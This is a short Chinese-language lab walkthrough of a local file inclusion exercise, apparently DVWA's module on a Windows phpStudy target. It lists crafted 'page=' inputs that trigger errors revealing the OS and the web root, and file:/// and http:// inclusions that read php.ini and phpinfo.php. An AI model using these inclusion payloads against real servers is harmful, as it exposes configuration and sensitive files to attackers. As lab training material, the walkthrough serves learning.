page=/et/shadow
page=afdsaufhasf.php
我的靶机是windows系统,所以只要page=/et/shadow这个语句就行了。
看到Failed opening ‘/et/shadow’ 和 C:\phpStudyB\WWW\vulnerabilities\fi\index.php,这无疑就是windows系统了,
我们还得到了网站的物理绝对路径C:\phpStudyB\WWW,同时我们还可以猜测网站是用phpstudy搭建的,对phpstudy比较了解的同学可能也从phpStudyB猜测到phpstudy的版本为phpstudy(PHP5.2)珍藏版,毕竟这个版本很经典,而且安装默认目录为phpStudyB,非常有特点。
两种方法获取php配置文件信息和php版本信息
page=file:///C:\phpStudyB\WWW\php.ini
page=file:///C:\phpStudyB\WWW\phpinfo.php
page=http://192.168.230.144/php.ini
page=http://192.168.230.144/phpinfo.php